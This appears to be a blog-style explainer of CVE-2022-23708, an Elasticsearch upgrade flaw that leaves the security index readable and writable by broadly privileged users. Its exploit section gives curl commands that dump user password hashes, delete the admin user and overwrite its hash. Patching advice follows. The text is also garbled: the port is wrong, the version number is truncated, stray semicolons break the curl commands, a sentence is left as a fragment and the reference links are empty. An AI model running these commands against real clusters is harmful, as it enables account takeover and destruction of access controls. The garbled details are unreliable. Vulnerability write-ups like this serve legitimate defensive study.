In February 2022, security researchers identified a critical vulnerability in Elasticsearch, tracked as CVE-2022-23708. This security issue affects Elasticsearch version 7.17., specifically when you use the Upgrade Assistant tool to move from version 6.x to 7.x.
This flaw occurs because the upgrade process unintentionally removes built-in protections on the security index (.security-*). As a result, any authenticated user with wildcard (*) index permissions could access and potentially modify sensitive security data like users, roles, and credentials stored in this index.
If exploited, this bug could result in the compromise of your entire Elasticsearch cluster’s security configuration.
Let’s break down the issue, see some code snippets, and understand how this vulnerability can be exploited.
Why Does This Happen?
Normally, the .security-* indices in Elasticsearch are locked down. Only specially privileged users can read from or write to them. But, due to a flaw in the upgrade process using the Upgrade Assistant, these protections are removed on upgrade from 6.x to 7.17.. Unless manually fixed or patched, the index remains exposed.
Thus, authenticated users with wide permissions (for example, user: * or roles with broad access) can read, write, or even delete documents in this critical index.
Start with Elasticsearch 6.x with security enabled.
- Have an authenticated user who has the manage cluster privilege and broad index permissions (for simplicity, *).
2. The Protection is Removed
Right after upgrading, protections like index.hidden, index.blocks.read_only, or index.blocks.write might not be set anymore on the security index.
You can see an exposed security index by running
curl -u wideuser:password -X GET \
"https://localhost:920/.security-7/_search?pretty";
If the user previously couldn't access, but now receives data, the security index is exposed!
Exploit Example
With permissions, let's try to list and alter users.
Step 1: Get Users
curl -u wideuser:password -X GET \
"https://localhost:920/.security-7/_search?pretty";
Example response (trimmed)
{
"hits": {
"hits": [
{
"_id": "user_admin",
"_source": {
"username": "admin",
"password_hash": "$2a$12$....",
...
}
}
// ... more users
]
}
}
To delete an admin user directly
curl -u wideuser:password -X DELETE \
"https://localhost:920/.security-7/_doc/user_admin";
Or, to alter user data
curl -u wideuser:password -X PUT \
"https://localhost:920/.security-7/_doc/user_admin"; \
-H "Content-Type: application/json" \
-d '{"username":"admin","password_hash":"$2a$12$newhash..."}'
Attackers who gain credentials to such users.
Note: This does *not* allow unauthenticated access. But in many environments, wide privileges are assigned for internal convenience.
Upgrade to at least Elasticsearch 7.17.1 or later, where this bug is fixed.
2. Manually restore security protections on .security-* indices if you already upgraded and can’t yet patch.
Example manual protection (add index block)
curl -u elastic:password -X PUT \
"https://localhost:920/.security-7/_settings"; \
-H "Content-Type: application/json" \
-d '{"index.blocks.read_only": true}'
Elastic Security Advisory:
ESA-2022-03: Elasticsearch Security Update
NVD Entry:
Blog Analysis:
Never blindly trust automated upgrades for sensitive systems!
- Always test upgrades in staging, review permissions, and read changelogs/advisories.
If you use Elasticsearch 7.17. and upgraded from 6.x, check your security index today.
Stay safe, keep your clusters patched, and share this with your team if you think they might be affected!
Timeline
Published on: 03/03/2022 22:15:00 UTC
Last modified on: 07/29/2022 20:15:00 UTC